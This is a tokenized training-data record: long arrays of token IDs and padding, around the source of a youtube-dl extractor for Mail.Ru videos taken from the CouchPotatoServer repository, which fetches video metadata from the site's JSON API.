32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 272, 283, 354, 356, 283, 1563, 492, 297, 272, 283, 1802, 356, 408, 199, 4665, 2178, 1164, 570, 492, 367, 7653, 199, 2486, 23476, 199, 199, 497, 13, 21463, 5166, 1159, 570, 492, 2656, 26, 199, 199, 10, 7146, 5366, 12, 314, 4136, 2656, 25983, 4750, 402, 314, 9661, 1901, 314, 523, 1890, 1314, 15755, 314, 28058, 334, 13007, 13431, 395, 7704, 314, 523, 492, 2656, 8298, 12159, 424, 370, 675, 1928, 282, 1890, 334, 2275, 11785, 503, 523, 1163, 4513, 402, 25461, 9, 436, 7704, 29105, 3595, 314, 523, 492, 15, 3790, 2656, 8298, 12159, 424, 370, 13082, 465, 652, 365, 308, 8984, 1806, 523, 650, 11, 3365, 11336, 14, 199, 199, 10, 1010, 282, 1655, 2178, 1164, 30800, 12, 880, 4390, 436, 18943, 883, 1900, 3932, 523, 5705, 13738, 13, 500, 370, 492, 687, 1163, 570, 6752, 334, 69, 14, 71, 14, 3232, 5564, 523, 1584, 9, 1314, 1443, 506, 28293, 370, 2429, 315, 3932, 1736, 6369, 503, 687, 523, 3932, 666, 9920, 5274, 14, 199, 199, 10, 1010, 282, 859, 12, 880, 626, 4628, 3075, 2750, 436, 4390, 402, 7653, 3963, 886, 440, 523, 1929, 503, 2934, 376, 18470, 492, 883, 5126, 652, 3769, 2808, 370, 4390, 14, 199, 7208, 272, 283, 3710, 356, 283, 1358, 7206, 1759, 297, 272, 283, 7360, 356, 283, 2859, 921, 1544, 14, 22058, 14, 957, 297, 272, 283, 2502, 356, 283, 25347, 13950, 297, 272, 283, 8912, 356, 788, 2520, 995, 272, 283, 21762, 356, 715, 12, 272, 283, 2495, 63, 3174, 356, 715, 12, 272, 283, 576, 356, 359, 267, 283, 4416, 15, 723, 14, 1238, 14, 2732, 14, 4737, 297, 267, 283, 4196, 15, 1095, 63, 646, 14, 1652, 297, 272, 2156, 272, 283, 22600, 356, 788, 1986, 15, 2164, 15, 1652, 15, 646, 14, 1652, 995, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
yannickcr/CouchPotatoServer
couchpotato/core/media/movie/providers/trailer/youtube_dl/extractor/mailru.py
7
2068
# encoding: utf-8 from __future__ import unicode_literals import re import datetime from .common import InfoExtractor class MailRuIE(InfoExtractor): IE_NAME = 'mailru' IE_DESC = 'Видео@Mail.Ru' _VALID_URL = r'http://(?:www\.)?my\.mail\.ru/video/.*#video=/?(?P<id>[^/]+/[^/]+/[^/]+/\d+)' _TEST = { 'url': 'http://my.mail.ru/video/top#video=/mail/sonypicturesrus/75/76', 'md5': 'dea205f03120046894db4ebb6159879a', 'info_dict': { 'id': '46301138', 'ext': 'mp4', 'title': 'Новый Человек-Паук. Высокое напряжение. Восстание Электро', 'upload_date': '20140224', 'uploader': 'sonypicturesrus', 'uploader_id': 'sonypicturesrus@mail.ru', 'duration': 184, } } def _real_extract(self, url): mobj = re.match(self._VALID_URL, url) video_id = mobj.group('id') video_data = self._download_json( 'http://videoapi.my.mail.ru/videos/%s.json?new=1' % video_id, video_id, 'Downloading video JSON') author = video_data['author'] uploader = author['name'] uploader_id = author['id'] movie = video_data['movie'] content_id = str(movie['contentId']) title = movie['title'] thumbnail = movie['poster'] duration = movie['duration'] upload_date = datetime.datetime.fromtimestamp(video_data['timestamp']).strftime('%Y%m%d') view_count = video_data['views_count'] formats = [ { 'url': video['url'], 'format_id': video['name'], } for video in video_data['videos'] ] return { 'id': content_id, 'title': title, 'thumbnail': thumbnail, 'upload_date': upload_date, 'uploader': uploader, 'uploader_id': uploader_id, 'duration': duration, 'view_count': view_count, 'formats': formats, }
gpl-3.0
[ 3, 2644, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 646, 2197, 199, 199, 504, 1275, 2330, 492, 21298, 421, 199, 533, 18027, 50, 85, 4332, 8, 18283, 304, 272, 15292, 63, 2339, 275, 283, 1198, 6558, 7, 272, 15292, 63, 15119, 275, 283, 141, 241, 16863, 113, 6286, 5806, 32, 13681, 14, 50, 85, 7, 272, 485, 5600, 63, 2632, 275, 519, 7, 1014, 921, 5169, 1544, 20316, 1662, 4537, 1198, 4537, 6558, 15, 3722, 15, 2795, 3, 3722, 29, 10197, 2229, 48, 28, 344, 26906, 15, 26285, 15, 26285, 6307, 68, 29600, 339, 485, 2864, 275, 469, 267, 283, 633, 356, 283, 1014, 921, 1662, 14, 1198, 14, 6558, 15, 3722, 15, 2119, 3, 3722, 13043, 1198, 15, 834, 89, 1038, 22004, 20791, 15, 2194, 15, 2114, 297, 267, 283, 1064, 21, 356, 283, 25395, 10629, 70, 1644, 23781, 2466, 12128, 697, 20, 69, 2501, 22, 9327, 13657, 65, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 2466, 8507, 8527, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 141, 252, 21267, 17445, 141, 118, 7038, 101, 30598, 21267, 6286, 11487, 13, 141, 254, 5657, 12195, 11487, 14, 7038, 241, 17445, 8474, 8381, 119, 5806, 6286, 24917, 13111, 124, 7753, 14978, 141, 115, 18624, 6500, 6286, 14, 7038, 241, 5806, 8474, 18261, 21674, 6500, 6286, 7038, 256, 10356, 6286, 11487, 7413, 7753, 5806, 297, 288, 283, 5064, 63, 602, 356, 283, 7280, 996, 1194, 297, 288, 283, 13671, 356, 283, 834, 89, 1038, 22004, 20791, 297, 288, 283, 13671, 63, 344, 356, 283, 834, 89, 1038, 22004, 20791, 32, 1198, 14, 6558, 297, 288, 283, 5553, 356, 27631, 12, 267, 789, 272, 789, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 14208, 275, 295, 14, 1431, 8, 277, 423, 5600, 63, 2632, 12, 1166, 9, 267, 3991, 63, 344, 275, 14208, 14, 923, 360, 344, 358, 398, 3991, 63, 576, 275, 291, 423, 4249, 63, 1001, 8, 288, 283, 1014, 921, 3722, 1246, 14, 1662, 14, 1198, 14, 6558, 15, 11418, 3149, 83, 14, 1001, 31, 1222, 29, 17, 7, 450, 3991, 63, 344, 12, 3991, 63, 344, 12, 283, 18085, 3991, 4840, 358, 398, 4132, 275, 3991, 63, 576, 459, 2502, 418, 267, 25257, 275, 4132, 459, 354, 418, 267, 25257, 63, 344, 275, 4132, 459, 344, 418, 398, 14360, 275, 3991, 63, 576, 459, 10888, 418, 267, 1564, 63, 344, 275, 620, 8, 10888, 459, 1317, 1304, 1105, 267, 2538, 275, 14360, 459, 1213, 418, 267, 10062, 275, 14360, 459, 20801, 418, 267, 7373, 275, 14360, 459, 5553, 418, 398, 5802, 63, 602, 275, 2197, 14, 2083, 14, 18531, 8, 3722, 63, 576, 459, 3954, 13227, 6205, 3508, 57, 5, 77, 5, 68, 358, 267, 2455, 63, 835, 275, 3991, 63, 576, 459, 4196, 63, 835, 418, 398, 6752, 275, 359, 288, 469, 355, 283, 633, 356, 3991, 459, 633, 995, 355, 283, 908, 63, 344, 356, 3991, 459, 354, 995, 288, 789, 367, 3991, 315, 3991, 63, 576, 459, 11418, 418, 267, 1622, 398, 372, 469, 288, 283, 344, 356, 1564, 63, 344, 12, 288, 283, 1213, 356, 2538, 12, 288, 283, 8311, 356, 10062, 12, 288, 283, 5064, 63, 602, 356, 5802, 63, 602, 12, 288, 283, 13671, 356, 25257, 12, 288, 283, 13671, 63, 344, 356, 25257, 63, 344, 12, 288, 283, 5553, 356, 7373, 12, 288, 283, 1345, 63, 835, 356, 2455, 63, 835, 12, 288, 283, 6321, 356, 6752, 12, 267, 789, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2644, 26, 2774, 13, 24, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 646, 2197, 199, 199, 504, 1275, 2330, 492, 21298, 421, 199, 533, 18027, 50, 85, 4332, 8, 18283, 304, 272, 15292, 63, 2339, 275, 283, 1198, 6558, 7, 272, 15292, 63, 15119, 275, 283, 141, 241, 16863, 113, 6286, 5806, 32, 13681, 14, 50, 85, 7, 272, 485, 5600, 63, 2632, 275, 519, 7, 1014, 921, 5169, 1544, 20316, 1662, 4537, 1198, 4537, 6558, 15, 3722, 15, 2795, 3, 3722, 29, 10197, 2229, 48, 28, 344, 26906, 15, 26285, 15, 26285, 6307, 68, 29600, 339, 485, 2864, 275, 469, 267, 283, 633, 356, 283, 1014, 921, 1662, 14, 1198, 14, 6558, 15, 3722, 15, 2119, 3, 3722, 13043, 1198, 15, 834, 89, 1038, 22004, 20791, 15, 2194, 15, 2114, 297, 267, 283, 1064, 21, 356, 283, 25395, 10629, 70, 1644, 23781, 2466, 12128, 697, 20, 69, 2501, 22, 9327, 13657, 65, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 2466, 8507, 8527, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 141, 252, 21267, 17445, 141, 118, 7038, 101, 30598, 21267, 6286, 11487, 13, 141, 254, 5657, 12195, 11487, 14, 7038, 241, 17445, 8474, 8381, 119, 5806, 6286, 24917, 13111, 124, 7753, 14978, 141, 115, 18624, 6500, 6286, 14, 7038, 241, 5806, 8474, 18261, 21674, 6500, 6286, 7038, 256, 10356, 6286, 11487, 7413, 7753, 5806, 297, 288, 283, 5064, 63, 602, 356, 283, 7280, 996, 1194, 297, 288, 283, 13671, 356, 283, 834, 89, 1038, 22004, 20791, 297, 288, 283, 13671, 63, 344, 356, 283, 834, 89, 1038, 22004, 20791, 32, 1198, 14, 6558, 297, 288, 283, 5553, 356, 27631, 12, 267, 789, 272, 789, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 14208, 275, 295, 14, 1431, 8, 277, 423, 5600, 63, 2632, 12, 1166, 9, 267, 3991, 63, 344, 275, 14208, 14, 923, 360, 344, 358, 398, 3991, 63, 576, 275, 291, 423, 4249, 63, 1001, 8, 288, 283, 1014, 921, 3722, 1246, 14, 1662, 14, 1198, 14, 6558, 15, 11418, 3149, 83, 14, 1001, 31, 1222, 29, 17, 7, 450, 3991, 63, 344, 12, 3991, 63, 344, 12, 283, 18085, 3991, 4840, 358, 398, 4132, 275, 3991, 63, 576, 459, 2502, 418, 267, 25257, 275, 4132, 459, 354, 418, 267, 25257, 63, 344, 275, 4132, 459, 344, 418, 398, 14360, 275, 3991, 63, 576, 459, 10888, 418, 267, 1564, 63, 344, 275, 620, 8, 10888, 459, 1317, 1304, 1105, 267, 2538, 275, 14360, 459, 1213, 418, 267, 10062, 275, 14360, 459, 20801, 418, 267, 7373, 275, 14360, 459, 5553, 418, 398, 5802, 63, 602, 275, 2197, 14, 2083, 14, 18531, 8, 3722, 63, 576, 459, 3954, 13227, 6205, 3508, 57, 5, 77, 5, 68, 358, 267, 2455, 63, 835, 275, 3991, 63, 576, 459, 4196, 63, 835, 418, 398, 6752, 275, 359, 288, 469, 355, 283, 633, 356, 3991, 459, 633, 995, 355, 283, 908, 63, 344, 356, 3991, 459, 354, 995, 288, 789, 367, 3991, 315, 3991, 63, 576, 459, 11418, 418, 267, 1622, 398, 372, 469, 288, 283, 344, 356, 1564, 63, 344, 12, 288, 283, 1213, 356, 2538, 12, 288, 283, 8311, 356, 10062, 12, 288, 283, 5064, 63, 602, 356, 5802, 63, 602, 12, 288, 283, 13671, 356, 25257, 12, 288, 283, 13671, 63, 344, 356, 25257, 63, 344, 12, 288, 283, 5553, 356, 7373, 12, 288, 283, 1345, 63, 835, 356, 2455, 63, 835, 12, 288, 283, 6321, 356, 6752, 12, 267, 789, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 